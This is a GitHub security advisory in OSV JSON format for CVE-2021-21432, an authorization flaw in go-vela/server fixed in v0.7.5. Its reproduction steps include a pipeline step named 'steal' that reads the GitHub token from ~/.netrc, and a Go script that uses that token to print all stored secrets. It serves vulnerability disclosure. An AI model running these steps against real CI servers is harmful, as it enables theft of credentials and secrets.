CVE-2021-21432: Github.com/go vela/server Reject Unauthorized Access With GitHub Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8j3f-mhq8-gmh4",
  "modified" : "2022-08-15T20:02:53Z",
  "published" : "2022-02-15T01:57:18Z",
  "aliases" : [ "CVE-2021-21432" ],
  "summary" : "Reject unauthorized access with GitHub PATs",
  "details" : "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce\n\n1. Create Vela server\n2. Login to Vela UI\n3. Promote yourself to Vela administrator \n    - `UPDATE users SET admin = 't' WHERE name = <username>`\n4. Activate repository within Vela\n5. Add `.vela.yml` to the repository with the following content\n\n    \n    ```yaml\n    version: \"1\"\n    \n    steps:\n    - name: steal\n      image: alpine\n      commands:\n        - cat ~/.netrc\n    ```\n\n1. Look at build logs to find the following content\n\n    ```\n    $ cat ~/.netrc\n    machine <GITHUB URL>\n    login x-oauth-basic\n    password <token>\n    ```\n\n1. Copy the password to be utilized in some later step\n1. Add secret(s) to activated repo\n1. Copy the following script into `main.go`\n\n    ```golang\n    package main\n    \n    import (\n\t    \"fmt\"\n\t    \"github.com/go-vela/sdk-go/vela\"\n\t    \"os\"\n    )\n    \n    func main() {\n\t    // create client to connect to vela\n\t    client, err := vela.NewClient(os.Getenv(\"VELA_SERVER_ADDR\"), \"vela\", nil)\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    // add PAT to request\n\t    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv(\"VELA_TOKEN\"))\n    \n    \n\t    secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    for _, secret := range *secrets {\n\t\t    fmt.Println(*secret.Name)\n\t\t    fmt.Println(*secret.Value)\n\t    }\n    }\n    ```\n\n1. Run the `main.go` with environment specific settings\n   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go`\n\nThe previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n* Upgrade to `v0.7.5` or later\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n* No known workarounds\n\n### References\n_Are there any links users can visit to find out more?_\n\n* https://github.com/go-vela/server/pull/246\n* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token\n\n### For more information\nIf you have any questions or comments about this advisory\n\n* Email us at [vela@target.com](mailto:vela@target.com)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/go-vela/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.7.0"
      }, {
        "fixed" : "0.7.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-21432"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vela/server/pull/337"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vela/server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vela/server/releases/tag/v0.7.5"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/github.com/go-vela/server"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285", "CWE-862", "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-05-20T20:12:26Z",
    "nvd_published_at" : "2021-04-09T18:15:00Z"
  }
}